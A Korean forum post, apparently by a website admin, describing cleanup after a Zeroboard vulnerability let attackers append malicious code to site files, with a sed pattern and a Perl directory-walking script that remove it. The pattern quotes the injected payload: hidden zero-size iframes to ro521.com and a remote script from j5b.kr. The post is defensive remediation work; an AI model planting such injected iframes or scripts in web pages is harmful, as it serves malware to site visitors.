ro521 해결책

저는 이번에 그누보드것은 괜찮았는데 zeroboard것이 피해를 입었습니다.
며칠 script짜느라고 고생좀 했죠.
zeroboard의 취약성을 타고 심어진것인데 다음과 같은 코드가 hml, 이미지 할것없이 화일 끝에 첨가되었습니다.
다행히 데이타베이스는 깨끗합니다.
다음 script로 화일을 원상복귀했습니다.

작업을 위해 linux shell과 perl, sed가 필요합니다.

첨가된 악성코드는 s/ 다음부터 //g 사이 입니다. /는 \로 escape 했습니다.
sed를 이용하여 악성코드를 없앴니다. (sed -i -f pattern filename)

pattern

s/<?ob_start();?><iframe src="http:\/\/www.ro521.com\/test.htm" width=0 height=0><\/iframe><?ob_start();?><iframe src="http:\
/\/www.ro521.com\/test.htm" width=0 height=0><\/iframe><?ob_start();?><script src="http:\/\/j5b.kr\/bin\/h.js"><\/script>//g

모든 디렉토리를 탐색하여 감염된 화일을 찾습니다. grep으로 찾습니다. image화일은 match라고 만나옵니다.

Replacetext.pl

sub traverse {
   my ($dir, $callback) = @_;
   my $present;

   opendir $present, $dir or return();

   for (grep { ! /^(\.|\.\.)$/ } readdir $present) {
      my $path = "$dir/$_";

      &$callback($path);
      traverse($path, $callback) if -d $path;

   }

   closedir $present;
   return();
}
sub search_pattern {
   my $file = shift;
   $output = `grep $pattern $file`;
   if (($output =~ /$pattern/) or ($output =~ /matches/)){
# use input and output same file
# use -i option
        $status = `sed -i -f /home3/twooneu8/Perl/pattern $file`;      -->위의 pattern 화일을 절대경로로 지정합니다.
#        print "Report: $status\n";
#       print "Report: found\n";
   }
   else {
#       print "[$file] :$pattern not found - $output\n";
   }
   return;
}
traverse("/home3/twooneu8/FSC", \&search_pattern);          -->지울 디렉터리를 첫번째 param에 지정합니다.

|

댓글 1개

pattern은 pattern이라는 파일에 s/~//g를 삽입해서 실행하는 건가요? 이메일로 답해주시면 감사하겠습니다^^ jhlee83 at imtl.skku.ac.kr입니다(@를 at으로 표기하였습니다.
댓글을 작성하시려면 로그인이 필요합니다.

자유게시판

+
제목 글쓴이 날짜 조회
15년 전 조회 1,943
15년 전 조회 1,483
15년 전 조회 1,813
15년 전 조회 1,764
15년 전 조회 1,924
15년 전 조회 1,826
15년 전 조회 1,709
15년 전 조회 2,876
15년 전 조회 3,055
15년 전 조회 1,609
15년 전 조회 1,760
15년 전 조회 3,768
15년 전 조회 1,824
15년 전 조회 1,810
15년 전 조회 3,104
15년 전 조회 2,059
15년 전 조회 1,789
15년 전 조회 2,738
15년 전 조회 5,047
15년 전 조회 1,488
15년 전 조회 1,732
15년 전 조회 1,163
15년 전 조회 2,070
15년 전 조회 1,705
15년 전 조회 1,656
15년 전 조회 1,698
15년 전 조회 4,088
15년 전 조회 1,805
15년 전 조회 1,521
15년 전 조회 1,701
🐛 버그신고